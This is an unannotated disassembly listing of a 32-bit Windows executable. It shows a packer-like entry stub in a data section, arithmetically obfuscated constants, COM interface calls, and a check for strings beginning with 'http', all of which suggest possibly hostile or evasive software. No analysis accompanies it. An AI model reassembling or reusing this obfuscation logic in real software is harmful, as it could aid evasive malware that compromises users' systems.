dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4074C4 dd 0 ; DATA XREF: sub_403997+6Ew
; sub_403997+12Bw ...
dword_4074C8 dd 320000h ; DATA XREF: sub_403472+19w
; sub_403472+29r ...
dd 5 dup(0)
dword_4074E0 dd 0E80EF0h ; DATA XREF: sub_4032C7:loc_4032E7w
; sub_4032C7+45r ...
dword_4074E4 dd 3Fh dup(0) ; DATA XREF: sub_4032C7+92o
dword_4075E0 dd 20h ; DATA XREF: sub_4032C7+26w
; sub_4032C7:loc_403351r ...
dword_4075E4 dd 1 ; DATA XREF: sub_402E8F+ADw
dword_4075E8 dd 1 ; DATA XREF: sub_402E37r sub_402E8F+3r ...
dword_4075EC dd 0 ; DATA XREF: sub_402C00+3Er
dword_4075F0 dd 0 ; DATA XREF: sub_402C00+35r
; sub_402C00+57r
dword_4075F4 dd 0 ; DATA XREF: sub_402BB1r
dword_4075F8 dd 452340h ; DATA XREF: sub_40292E+7Aw
; sub_402E37+Fr ...
align 1000h
_text ends
; Section 3. (virtual address 00018000)
; Virtual size : 00020000 ( 131072.)
; Section size in file : 00020000 ( 131072.)
; Offset to raw data for section: 00018000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 418000h
; =============== S U B R O U T I N E =======================================
public start
start proc near
pusha
call sub_44083E
popa
jmp sub_40292E
start endp
; ---------------------------------------------------------------------------
db 0
byte_41800D db 0Dh, 77h, 90h ; DATA XREF: .bss:off_449610o
dd 300h, 400h, 0FFFF00h, 0B800h, 0
dd 4000h, 8 dup(0)
dd 8000h, 6A31BC00h, 0C2AD9923h, 788EE73Ch, 598CC9BEh
dd 0A2552135h, 7B13D24Fh, 572DF9D9h, 7E681E5Dh, 0BE1842C9h
dd 576F5E4Dh, 0B2271DCCh, 949BEC0Ch, 0B1F4B2F2h, 649C421Bh
dd 757BE2FAh, 2A55F560h, 282113h, 6014C00h, 7587C100h
dd 46h, 0
dd 0E00E000h, 2010B21h, 0B20037h, 360000h, 5C0000h, 119600h
dd 100000h, 0D00000h, 0
dd 100010h, 20000h, 100h, 0
dd 400h, 0
dd 1900000h, 40000h, 0
dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0
dd 1000h, 1800000h, 4C00h, 1500000h, 1CC00h, 6 dup(0)
dd 1600000h, 148800h, 14h dup(0)
dd 65742E00h, 7478h, 0B03C00h, 100000h, 0B03C00h, 40000h
dd 3 dup(0)
dd 2000h, 73622E60h, 73h, 5BD800h, 0D00000h, 5 dup(0)
dd 8000h, 61642EC0h, 6174h, 1B7800h, 1300000h, 1B7800h
dd 0B60000h, 3 dup(0)
dd 4000h, 64692EC0h, 617461h, 1CC00h, 1500000h, 1CC00h
dd 0D20000h, 3 dup(0)
dd 6000h, 65722EC0h, 636F6Ch, 149000h, 1600000h, 149000h
dd 0D60000h, 3 dup(0)
dd 2000h, 64652E02h, 617461h, 4C00h, 1800000h, 4C00h, 0EC0000h
dd 3 dup(0)
dd 2000h, 40h, 65h dup(0)
dd 1B800h, 31C30000h, 4C8B40C0h, 41F70424h, 604h, 8B0F7400h
dd 8B082444h, 89102454h, 3B802h
db 2 dup(0), 0C3h
; =============== S U B R O U T I N E =======================================
sub_418433 proc near ; CODE XREF: .data:0041855Bp
; .data:00418589p
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push 10001006h
push large dword ptr fs:0
mov large fs:0, esp
loc_418450: ; CODE XREF: sub_418433+44j
; sub_418433+4Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41847F
cmp esi, [esp+1Ch+arg_4]
jz short loc_41847F
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov ecx, [esp+1Ch+var_14]
mov ecx, [eax+0Ch]
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_418450
call dword ptr [ebx+esi*4+8]
jmp short loc_418450
; ---------------------------------------------------------------------------
loc_41847F: ; CODE XREF: sub_418433+2Aj
; sub_418433+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_418433 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41848D proc near ; CODE XREF: .data:0041854Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push 10001098h
push [ebp+arg_0]
call sub_4233DD
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41848D endp
; ---------------------------------------------------------------------------
db 0FCh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
mov ebx, [ebp+0Ch]
mov eax, [ebp+8]
test dword ptr [eax+4], 6
jnz loc_418582
mov [ebp-8], eax
mov eax, [ebp+10h]
mov [ebp-4], eax
lea eax, [ebp-8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4184E0: ; CODE XREF: .data:00418579j
cmp esi, 0FFFFFFFFh
jz loc_418591
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_418570
push esi
push ebp
lea ebp, [ebx+10h]
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
mov ds:10013034h, eax
mov edx, [ebp-14h]
mov eax, [edx]
mov ds:10013038h, eax
mov eax, [edx+4]
mov ds:1001303Ch, eax
push esi
push edi
push ecx
mov ecx, 14h
lea edi, ds:10013040h
mov esi, ds:10013038h
rep movsd
lea edi, ds:10013040h
mov ds:10013038h, edi
pop ecx
pop edi
pop esi
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+0Ch]
or eax, eax
jz short loc_418570
js short loc_41857E
mov edi, [ebx+8]
push ebx
call sub_41848D
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_418433
add esp, 8
lea ecx, [esi+esi*2]
mov eax, [edi+ecx*4]
mov eax, [ebx+0Ch]
call dword ptr [edi+ecx*4+8]
loc_418570: ; CODE XREF: .data:004184F1j
; .data:00418546j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp loc_4184E0
; ---------------------------------------------------------------------------
loc_41857E: ; CODE XREF: .data:00418548j
xor eax, eax
jmp short loc_41859B
; ---------------------------------------------------------------------------
loc_418582: ; CODE XREF: .data:004184C5j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_418433
add esp, 0Ch
loc_418591: ; CODE XREF: .data:004184E3j
push 0Bh
call sub_423425
add esp, 4
loc_41859B: ; CODE XREF: .data:00418580j
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
cmp dword ptr [ebp+0Ch], 1
jnz short loc_4185B4
call sub_4185D0
loc_4185B4: ; CODE XREF: .data:004185ADj
call sub_423368
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
mov eax, ds:10013000h
call eax
pop edi
pop esi
pop ebx
leave
retn 0Ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185D0 proc near ; CODE XREF: .data:004185AFp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
push 0
push 0FFFFFFF6h
call sub_4233F5
mov [ebp+var_8], eax
push 0
push 0FFFFFFF5h
call sub_4233F5
mov [ebp+var_4], eax
push 0
push 0FFFFFFF4h
call sub_4233F5
mov [ebp+var_C], eax
push 1001301Eh
push [ebp+var_8]
call sub_4233E9
mov ds:10013008h, eax
push 1001301Ch
push [ebp+var_4]
call sub_4233E9
mov ds:10013004h, eax
push 1001301Ch
push [ebp+var_C]
call sub_4233E9
add esp, 30h
mov ds:1001300Ch, eax
mov edi, ds:10013004h
or edi, edi
jz short loc_418649
push 0
push edi
call sub_423431
add esp, 8
loc_418649: ; CODE XREF: sub_4185D0+6Cj
mov edi, ds:1001300Ch
or edi, edi
jz short loc_418663
push 0
push edi
call sub_423431
add esp, 8
call sub_418669
loc_418663: ; CODE XREF: sub_4185D0+81j
pop edi
leave
retn
sub_4185D0 endp
; ---------------------------------------------------------------------------
dw 9090h
db 90h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418669 proc near ; CODE XREF: sub_4185D0+8Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_C], 0
call sub_4233D1
mov ebx, eax
mov [ebp+var_10], ebx
jmp short loc_4186A1
; ---------------------------------------------------------------------------
loc_418685: ; CODE XREF: sub_418669+3Bj
cmp byte ptr [ebx], 3Dh
jz short loc_41868D
inc [ebp+var_C]
loc_41868D: ; CODE XREF: sub_418669+1Fj
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
lea ebx, [ebx+edi]
loc_4186A1: ; CODE XREF: sub_418669+1Aj
cmp byte ptr [ebx], 0
jnz short loc_418685
mov edi, [ebp+var_C]
inc edi
lea edi, ds:0[edi*4]
mov [ebp+var_14], edi
push [ebp+var_14]
call sub_423419
pop ecx
mov [ebp+var_8], eax
mov ds:10013010h, eax
cmp [ebp+var_8], 0
jnz short loc_4186CF
xor eax, eax
jmp short loc_41872C
; ---------------------------------------------------------------------------
loc_4186CF: ; CODE XREF: sub_418669+60j
mov ebx, [ebp+var_10]
jmp short loc_418719
; ---------------------------------------------------------------------------
loc_4186D4: ; CODE XREF: sub_418669+B3j
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
mov [ebp+var_4], edi
cmp byte ptr [ebx], 3Dh
jz short loc_418713
push [ebp+var_4]
call sub_423419
pop ecx
mov esi, [ebp+var_8]
mov [esi], eax
or eax, eax
jnz short loc_418701
jmp short loc_41872C
; ---------------------------------------------------------------------------
loc_418701: ; CODE XREF: sub_418669+94j
push ebx
mov edi, [ebp+var_8]
push dword ptr [edi]
call sub_42343D
add esp, 8
add [ebp+var_8], 4
loc_418713: ; CODE XREF: sub_418669+82j
mov edx, [ebp+var_4]
lea ebx, [ebx+edx]
loc_418719: ; CODE XREF: sub_418669+69j
cmp byte ptr [ebx], 0
jnz short loc_4186D4
mov edx, [ebp+var_8]
mov dword ptr [edx], 0
mov eax, 1
loc_41872C: ; CODE XREF: sub_418669+64j
; sub_418669+96j
pop edi
pop esi
pop ebx
leave
retn
sub_418669 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418731 proc near ; CODE XREF: sub_41C6CD+C1p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 8000h
movsx eax, word ptr ds:100131F0h
add eax, ds:10013284h
sub eax, 0Ch
push eax
push [ebp+arg_0]
call dword ptr ds:10011634h
pop ebp
retn
sub_418731 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418755 proc near ; CODE XREF: sub_41B354+1A4p
; sub_41B354+259p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
movsx eax, word ptr ds:100131FCh
add eax, ds:10013108h
sub eax, 0Bh
mov [ebp+var_8], eax
mov [ebp+var_C], eax
mov esi, eax
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_8]
add eax, ebx
mov [ebp+var_4], eax
mov edi, [ebp+arg_0]
jmp loc_418893
; ---------------------------------------------------------------------------
loc_418789: ; CODE XREF: sub_418755+146j
movsx edx, byte ptr [edi]
shl edx, 2
mov esi, ds:100133B8h[edx]
mov eax, ds:10013090h
movsx edx, word ptr ds:100130E0h
add eax, edx
sub eax, 3
neg eax
cmp esi, eax
jz loc_418892
mov eax, [ebp+var_8]
or eax, eax
jl loc_41888F
cmp eax, 3
jg loc_41888F
jmp dword ptr ds:100137B8h[eax*4]
; ---------------------------------------------------------------------------
dd 0E9F845FFh, 0BBh, 8BF4558Bh, 131580Dh, 0A80D0310h, 83100130h
dd 0D0890DE9h, 4589E0D3h, 83F289E8h, 0D8B30E2h, 10013278h
dd 7005BF0Fh, 1100131h, 0D3D089C1h, 0E8558BF8h, 5588C209h
dd 43D889F3h, 88F3558Ah, 0F845FF10h, 558B75EBh, 0FE283F4h
dd 0A40DBF0Fh, 83100131h, 0D08903E9h, 4589E0D3h, 83F289E4h
dd 0D8B3CE2h, 10013134h, 8906E983h, 8BF8D3D0h, 0C209E455h
dd 89F35588h, 558A43D8h, 0FF1088F3h, 37EBF845h, 83F4558Bh
dd 0BF0F03E2h, 132080Dh, 0D0894110h, 0C289E0D3h, 5588F209h
dd 43D889F3h, 88F3558Ah, 5BF0F10h, 10013144h, 0DC15BF0Fh
dd 1100131h, 7E883D0h
db 89h, 45h, 0F8h
; ---------------------------------------------------------------------------
loc_41888F: ; CODE XREF: sub_418755+61j
; sub_418755+6Aj
mov [ebp+var_C], esi
loc_418892: ; CODE XREF: sub_418755+56j
inc edi
loc_418893: ; CODE XREF: sub_418755+2Fj
cmp byte ptr [edi], 0
jz short loc_4188A1
cmp ebx, [ebp+var_4]
jb loc_418789
loc_4188A1: ; CODE XREF: sub_418755+141j
cmp byte ptr [edi], 0
jnz short loc_4188AD
mov eax, ebx
sub eax, [ebp+arg_4]
jmp short loc_4188BD
; ---------------------------------------------------------------------------
loc_4188AD: ; CODE XREF: sub_418755+14Fj
mov eax, ds:100130E4h
add eax, ds:10013090h
sub eax, 0Bh
neg eax
loc_4188BD: ; CODE XREF: sub_418755+156j
pop edi
pop esi
pop ebx
leave
retn
sub_418755 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4188C2 proc near ; CODE XREF: sub_418999+68Ap
; sub_4197BE+EFp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
and [ebp+var_8], 0
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_4188D7: ; CODE XREF: sub_4188C2+1Aj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4188D7
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
lea ecx, [eax]
or eax, 0FFFFFFFFh
loc_4188E9: ; CODE XREF: sub_4188C2+2Cj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4188E9
mov esi, eax
movsx eax, word ptr ds:10013118h
sub eax, 3
mov [ebp+var_4], eax
jmp short loc_41895A
; ---------------------------------------------------------------------------
loc_418901: ; CODE XREF: sub_4188C2+9Ej
mov eax, ds:10013184h
movsx edx, word ptr ds:10013100h
mov ebx, eax
add ebx, edx
sub ebx, 5
mov eax, ds:100131C8h
mov edi, eax
add edi, ds:1001313Ch
sub edi, 3
jmp short loc_418953
; ---------------------------------------------------------------------------
loc_418926: ; CODE XREF: sub_4188C2+93j
mov eax, [ebp+var_4]
add eax, edi
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+eax]
mov edx, [ebp+arg_4]
movsx edx, byte ptr [edx+edi]
cmp eax, edx
jnz short loc_418957
inc ebx
cmp ebx, esi
jnz short loc_418952
inc [ebp+var_8]
mov eax, [ebp+arg_8]
cmp [ebp+var_8], eax
jnz short loc_418952
mov eax, [ebp+var_4]
jmp short loc_418967
; ---------------------------------------------------------------------------
loc_418952: ; CODE XREF: sub_4188C2+7Ej
; sub_4188C2+89j
inc edi
loc_418953: ; CODE XREF: sub_4188C2+62j
cmp edi, esi
jb short loc_418926
loc_418957: ; CODE XREF: sub_4188C2+79j
inc [ebp+var_4]
loc_41895A: ; CODE XREF: sub_4188C2+3Dj
mov eax, [ebp+var_C]
cmp [ebp+var_4], eax
jb short loc_418901
mov eax, 0FFFFh
loc_418967: ; CODE XREF: sub_4188C2+8Ej
pop edi
pop esi
pop ebx
leave
retn
sub_4188C2 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
loc_41896F: ; CODE XREF: .data:00418993j
call sub_41C480
mov eax, ds:1001318Ch
add eax, 2
mov edx, ds:10013280h
add edx, 0EA5Ch
imul eax, edx
push eax
call dword ptr ds:10012630h
pop ecx
jmp short loc_41896F
; ---------------------------------------------------------------------------
db 5Dh, 0C2h, 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418999 proc near ; CODE XREF: .data:0042131Ep
var_71F10 = dword ptr -71F10h
var_71F0C = dword ptr -71F0Ch
var_71F07 = byte ptr -71F07h
var_70F08 = word ptr -70F08h
var_70F00 = dword ptr -70F00h
var_70EF9 = byte ptr -70EF9h
var_70EF8 = dword ptr -70EF8h
var_70EF4 = dword ptr -70EF4h
var_70EEF = byte ptr -70EEFh
var_60EF0 = word ptr -60EF0h
var_60EE8 = dword ptr -60EE8h
var_60EDD = byte ptr -60EDDh
var_60EDC = dword ptr -60EDCh
var_60ED8 = dword ptr -60ED8h
var_60ED4 = dword ptr -60ED4h
var_60ED0 = word ptr -60ED0h
var_60EC8 = dword ptr -60EC8h
var_60EC0 = dword ptr -60EC0h
var_60EBC = dword ptr -60EBCh
var_60EB8 = dword ptr -60EB8h
var_60EB4 = dword ptr -60EB4h
var_60EB0 = dword ptr -60EB0h
var_60EAC = dword ptr -60EACh
var_60EA8 = dword ptr -60EA8h
var_60EA4 = dword ptr -60EA4h
var_60E9F = byte ptr -60E9Fh
var_50E9D = byte ptr -50E9Dh
var_50E9B = byte ptr -50E9Bh
var_40EB8 = byte ptr -40EB8h
var_40EB0 = dword ptr -40EB0h
var_40EA8 = word ptr -40EA8h
var_40EA0 = dword ptr -40EA0h
var_40E9C = dword ptr -40E9Ch
var_40E98 = dword ptr -40E98h
var_40E94 = byte ptr -40E94h
var_40E90 = dword ptr -40E90h
var_40E8C = dword ptr -40E8Ch
var_40E88 = dword ptr -40E88h
var_40E84 = dword ptr -40E84h
var_40E80 = byte ptr -40E80h
var_40E78 = dword ptr -40E78h
var_40E70 = dword ptr -40E70h
var_40E6C = dword ptr -40E6Ch
var_40E68 = dword ptr -40E68h
var_40E64 = dword ptr -40E64h
var_40E60 = dword ptr -40E60h
var_40E5C = dword ptr -40E5Ch
var_40E57 = byte ptr -40E57h
var_40E56 = byte ptr -40E56h
var_40E55 = byte ptr -40E55h
var_40E54 = byte ptr -40E54h
var_30E58 = dword ptr -30E58h
var_30E54 = dword ptr -30E54h
var_30E50 = dword ptr -30E50h
var_30E4C = dword ptr -30E4Ch
var_30E48 = dword ptr -30E48h
var_30E44 = dword ptr -30E44h
var_30E3F = byte ptr -30E3Fh
var_30D40 = byte ptr -30D40h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 71F10h
call sub_423379
push ebx
push esi
push edi
lea eax, [ebp+var_40E80]
push eax
call dword ptr ds:1000D038h
lea eax, [ebp+var_40E94]
push eax
lea eax, [ebp+var_40E80]
push eax
push 9
movsx eax, word ptr ds:1001316Ch
movsx edx, word ptr ds:10013180h
add eax, edx
sub eax, 5
push eax
push [ebp+arg_0]
call dword ptr ds:10010254h
mov ebx, eax
movsx eax, word ptr ds:100130C0h
movsx edx, word ptr ds:100131B4h
add eax, edx
sub eax, 6
cmp ebx, eax
jnz loc_419762
mov eax, [ebp+var_40E78]
mov [ebp+var_40E64], eax
and [ebp+var_40E60], 0
lea eax, [ebp+var_40E60]
push eax
push 10014AD8h
mov eax, [ebp+var_40E64]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, ds:1001326Ch
sub eax, 9
cmp ebx, eax
jnz loc_419762
lea eax, [ebp+var_40E84]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+78h]
mov ebx, eax
mov eax, ds:10013224h
sub eax, 5
cmp ebx, eax
jnz loc_419756
lea eax, [ebp+var_40E57]
push eax
push [ebp+var_40E84]
call sub_41C841
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_40E98], edi
push [ebp+var_40E84]
call dword ptr ds:10012BA0h
cmp [ebp+var_40E57], 68h
jnz short loc_418AB4
cmp [ebp+var_40E56], 74h
jnz short loc_418AB4
cmp [ebp+var_40E55], 74h
jnz short loc_418AB4
cmp [ebp+var_40E54], 70h
jz short loc_418AB9
loc_418AB4: ; CODE XREF: sub_418999+FEj
; sub_418999+107j ...
jmp loc_419756
; ---------------------------------------------------------------------------
loc_418AB9: ; CODE XREF: sub_418999+119j
lea eax, [ebp+var_30E4C]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+94h]
mov ebx, eax
mov eax, ds:10013204h
add eax, ds:100130DCh
sub eax, 4
cmp ebx, eax
jz short loc_418AEA
and [ebp+var_30E4C], 0
loc_418AEA: ; CODE XREF: sub_418999+148j
lea eax, [ebp+var_40E68]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+48h]
mov ebx, eax
mov eax, ds:1001328Ch
add eax, ds:10013274h
sub eax, 7
cmp ebx, eax
jnz loc_419756
lea eax, [ebp+var_40E6C]
push eax
push 10014A58h
mov eax, [ebp+var_40E68]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, ds:10013268h
sub eax, 4
cmp ebx, eax
jnz loc_41974A
lea eax, [ebp+var_40E70]
push eax
mov eax, [ebp+var_40E6C]
push eax
mov edi, [eax]
call dword ptr [edi+5Ch]
mov ebx, eax
mov eax, ds:10013204h
dec eax
cmp ebx, eax
jnz loc_41973E
lea eax, [ebp+var_40E90]
push eax
mov eax, [ebp+var_40E70]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
movsx eax, word ptr ds:10013170h
sub eax, 2
cmp ebx, eax
jnz loc_419732
mov eax, ds:10013128h
sub eax, 8
neg eax
mov [ebp+var_40E5C], eax
push 100149A0h
call sub_41FB74
push eax
call dword ptr ds:1000D044h
mov [ebp+var_30E44], eax
push 10014990h
call sub_41FB74
add esp, 8
push eax
call dword ptr ds:1000D044h
mov [ebp+var_30E48], eax
lea eax, [ebp+var_40E57]
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_423399
loc_418BE1: ; CODE XREF: sub_418999+D6Dj
and [ebp+var_40E88], 0
and [ebp+var_40E8C], 0
mov eax, ds:10013194h
sub eax, 8
neg eax
cmp [ebp+var_40E5C], eax
jnz short loc_418C4C
lea eax, [ebp+var_30E54]
push eax
mov eax, [ebp+var_40E6C]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
mov eax, ds:100131D0h
add eax, ds:10013284h
sub eax, 10h
cmp ebx, eax
jnz loc_4196F4
push 10014981h
call sub_41C914
push eax
lea edi, [ebp+var_30D40]
push edi
call dword ptr ds:1000D020h
add esp, 0Ch
jmp loc_418D54
; ---------------------------------------------------------------------------
loc_418C4C: ; CODE XREF: sub_418999+266j
mov [ebp+var_40EA8], 17h
mov eax, [ebp+var_40E5C]
mov [ebp+var_40EA0], eax
lea eax, [ebp+var_40EB8]
push eax
lea eax, [ebp+var_40EA8]
push eax
mov eax, [ebp+var_40E70]
push eax
mov esi, [eax]
call dword ptr [esi+1Ch]
lea eax, [ebp+var_40E88]
push eax
push 10014AA8h
push [ebp+var_40EB0]
mov edi, [ebp+var_40EB0]
mov edi, [edi]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, ds:100131E8h
dec eax
cmp ebx, eax
jnz loc_4196F4
lea eax, [ebp+var_40E8C]
push eax
mov eax, [ebp+var_40E88]
push eax
mov edi, [eax]
call dword ptr [edi+0D0h]
mov ebx, eax
mov eax, ds:100130B4h
sub eax, 8
cmp ebx, eax
jz short loc_418CE1
mov eax, [ebp+var_40E88]
push eax
mov esi, [eax]
call dword ptr [esi+8]
jmp loc_4196F4
; ---------------------------------------------------------------------------
loc_418CE1: ; CODE XREF: sub_418999+335j
lea eax, [ebp+var_30E54]
push eax
mov eax, [ebp+var_40E8C]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
mov eax, ds:1001321Ch
sub eax, 8
cmp ebx, eax
jz short loc_418D1F
mov eax, [ebp+var_40E8C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_40E88]
push eax
mov esi, [eax]
call dword ptr [esi+8]
jmp loc_4196F4
; ---------------------------------------------------------------------------
loc_418D1F: ; CODE XREF: sub_418999+367j
push 10014972h
call sub_41C914
push [ebp+var_40E5C]
push eax
lea edi, [ebp+var_30E3F]
push edi
call dword ptr ds:10012634h
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call dword ptr ds:1000D020h
add esp, 18h
loc_418D54: ; CODE XREF: sub_418999+2AEj
lea eax, [ebp+var_30E58]
push eax
mov eax, [ebp+var_30E54]
push eax
mov edi, [eax]
call dword ptr [edi+24h]
mov ebx, eax
mov eax, ds:10013268h
sub eax, 4
cmp ebx, eax
jnz loc_4196F4
movsx eax, word ptr ds:10013240h
movsx edx, word ptr ds:100130CCh
add eax, edx
sub eax, 9
mov [ebp+var_30E50], eax
jmp loc_4196E2
; ---------------------------------------------------------------------------
loc_418D97: ; CODE XREF: sub_418999+D55j
mov [ebp+var_60ED0], 2
mov eax, [ebp+var_30E50]
mov [ebp+var_60EC8], eax
movsx eax, word ptr ds:100130C0h
mov edx, ds:1001314Ch
sub edx, 6
mov [ebp+eax+var_50E9D], dl
lea eax, [ebp+var_60EC0]
push eax
lea esi, [ebp+var_60ED0]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_60ED0]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_30E54]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
movsx eax, word ptr ds:10013180h
sub eax, 4
cmp ebx, eax
jnz loc_4196DC
push 10014964h
call sub_41C914
push [ebp+var_30E50]
push eax
lea edi, [ebp+var_30E3F]
push edi
call dword ptr ds:10012634h
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call dword ptr ds:1000D020h
add esp, 18h
and [ebp+var_60ED4], 0
lea eax, [ebp+var_60ED4]
push eax
push 10014A78h
mov eax, [ebp+var_60EC0]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, ds:10013224h
sub eax, 5
cmp ebx, eax
jnz loc_419361
lea eax, [ebp+var_60ED8]
push eax
mov eax, [ebp+var_60ED4]
push eax
mov edi, [eax]
call dword ptr [edi+0F0h]
mov ebx, eax
cmp ebx, ds:10013138h
jnz loc_419355
lea eax, [ebp+var_60E9F]
push eax
push [ebp+var_60ED8]
call sub_41C841
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_60EB8], edi
push [ebp+var_60ED8]
call dword ptr ds:10012BA0h
movsx eax, word ptr ds:10013230h
sub eax, 6
mov [ebp+var_40E9C], eax
jmp short loc_418F24
; ---------------------------------------------------------------------------
loc_418ED8: ; CODE XREF: sub_418999+597j
mov eax, [ebp+var_40E9C]
movsx eax, [ebp+eax+var_60E9F]
movsx edx, word ptr ds:10013104h
add edx, 5
cmp eax, edx
jz short loc_418F02
movsx edx, word ptr ds:10013130h
add edx, 7
cmp eax, edx
jnz short loc_418F1E
loc_418F02: ; CODE XREF: sub_418999+559j
mov eax, [ebp+var_40E9C]
mov edx, ds:1001325Ch
add edx, ds:100131D8h
sub edx, 11h
mov [ebp+eax+var_60E9F], dl
loc_418F1E: ; CODE XREF: sub_418999+567j
inc [ebp+var_40E9C]
loc_418F24: ; CODE XREF: sub_418999+53Dj
mov eax, [ebp+var_60EB8]
cmp [ebp+var_40E9C], eax
jb short loc_418ED8
lea eax, [ebp+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call sub_423399
mov eax, ds:10013148h
sub eax, 2
mov [ebp+var_40E9C], eax
loc_418F53: ; CODE XREF: sub_418999+70Dj
mov eax, [ebp+var_40E9C]
lea ecx, [ebp+eax+var_60E9F]
or eax, 0FFFFFFFFh
loc_418F63: ; CODE XREF: sub_418999+5CFj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_418F63
mov [ebp+var_60EA8], eax
mov edx, ds:10013184h
add edx, ds:10013188h
sub edx, 2
cmp eax, edx
jz short loc_418F9B
movsx edx, word ptr ds:10013130h
mov ecx, ds:1001313Ch
lea edx, [edx+ecx+0C2h]
cmp eax, edx
jbe short loc_418FA0
loc_418F9B: ; CODE XREF: sub_418999+5E8j
jmp loc_419079
; ---------------------------------------------------------------------------
loc_418FA0: ; CODE XREF: sub_418999+600j
mov eax, ds:100131B0h
sub eax, 7
mov [ebp+var_60EA4], eax
jmp short loc_418FE0
; ---------------------------------------------------------------------------
loc_418FB0: ; CODE XREF: sub_418999+653j
mov eax, [ebp+var_40E9C]
add eax, [ebp+var_60EA4]
movsx eax, [ebp+eax+var_60E9F]
mov edx, ds:1001313Ch
add edx, 17h
